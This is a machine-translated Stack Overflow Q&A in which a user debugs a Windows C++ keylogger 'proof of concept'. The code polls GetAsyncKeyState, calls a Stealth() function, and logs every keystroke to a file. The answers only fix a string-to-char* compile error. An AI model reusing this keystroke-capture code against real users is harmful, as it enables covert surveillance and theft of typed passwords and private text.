2014-11-06 196 views
0

我目前正在研究一個簡單的鍵盤記錄器證明一個概念。 但我不斷收到此錯誤:不能將'std :: string {aka std :: basic_string <char>}'轉換爲'char *'將參數'2'轉換爲'int Save(int,char *)'

cannot convert 'std::string {aka std::basic_string<char>}' to 'char*' for argument '2' to 'int Save(int, char*)' 

是的,我已經四處搜尋,但沒有一次成功。我試圖從文本文件讀取一個變量。

我該如何解決?代碼:

int Save (int key_stroke, char *file); 
int getFile (string file); 
void Stealth(); 
string fileN; 

int main() 
{ 
    ifstream fN("c.txt"); 
    fN >> fileN; 

    Stealth(); 
    char i; 

    while (1) 
    { 
     for(i = 8; i <= 190; i++) 
     { 
      if (GetAsyncKeyState(i) == -32767) 
       Save (i,fileN); 
     } 
    } 
    system ("PAUSE"); 
    return 0; 
} 

/* *********************************** */ 

int Save (int key_stroke, char *file) 
{ 
    if ((key_stroke == 1) || (key_stroke == 2)) 
     return 0; 

    FILE *OUTPUT_FILE; 
    OUTPUT_FILE = fopen(file, "a+"); 

    cout << key_stroke << endl; 

    if (key_stroke == 8) 
     fprintf(OUTPUT_FILE, "%s", "[BACKSPACE]"); 
    else if (key_stroke == 13) 
     fprintf(OUTPUT_FILE, "%s", "\n"); 
    else if (key_stroke == 32) 
     fprintf(OUTPUT_FILE, "%s", " "); 
    else if (key_stroke == VK_TAB) 
     fprintf(OUTPUT_FILE, "%s", "[TAB]"); 
    else if (key_stroke == VK_SHIFT) 
     fprintf(OUTPUT_FILE, "%s", "[SHIFT]"); 
    else if (key_stroke == VK_CONTROL) 
     fprintf(OUTPUT_FILE, "%s", "[CONTROL]"); 
    else if (key_stroke == VK_ESCAPE) 
     fprintf(OUTPUT_FILE, "%s", "[ESCAPE]"); 
    else if (key_stroke == VK_END) 
     fprintf(OUTPUT_FILE, "%s", "[END]"); 
    else if (key_stroke == VK_HOME) 
     fprintf(OUTPUT_FILE, "%s", "[HOME]"); 
    else if (key_stroke == VK_LEFT) 
     fprintf(OUTPUT_FILE, "%s", "[LEFT]"); 
    else if (key_stroke == VK_UP) 
     fprintf(OUTPUT_FILE, "%s", "[UP]"); 
    else if (key_stroke == VK_RIGHT) 
     fprintf(OUTPUT_FILE, "%s", "[RIGHT]"); 
    else if (key_stroke == VK_DOWN) 
     fprintf(OUTPUT_FILE, "%s", "[DOWN]"); 
    else if (key_stroke == 190 || key_stroke == 110) 
     fprintf(OUTPUT_FILE, "%s", "."); 
    else 
     fprintf(OUTPUT_FILE, "%s", &key_stroke); 

    fclose (OUTPUT_FILE); 
    return 0; 
} 
+0

讓'Save'接受一個'const char *',然後將'fileN.c_str()'傳遞給它。對於這個問題,爲什麼不用'Save'來取'const string&'? – 2014-11-06 15:01:17

回答

0

如錯誤消息所示,您正試圖將std::string傳遞給期望指向字符數組的指針的函數。

最好的解決辦法是改變函數的字符串的工作:

int Save (int key_stroke, const std::string & file); 

然後提取指針,當你需要一個

fopen(file.c_str(), "a+"); 
      ^^^^^^^^ 

另外,如果您想保留的C您可以將參數類型更改爲const char *,並將fileN.c_str()傳遞給它。

+0

謝謝,這工作。 – Mackedack 2014-11-06 15:38:10

1

爲了從std::string得到一個C風格的字符串,請使用c_str()成員函數。它將返回一個空終止的const char *。但是,您的功能似乎需要char*。當然,您可以使用const_cast獲得char*的指針,但更合理的方法是讓您的函數首先使用const char*const std::string&

相關問題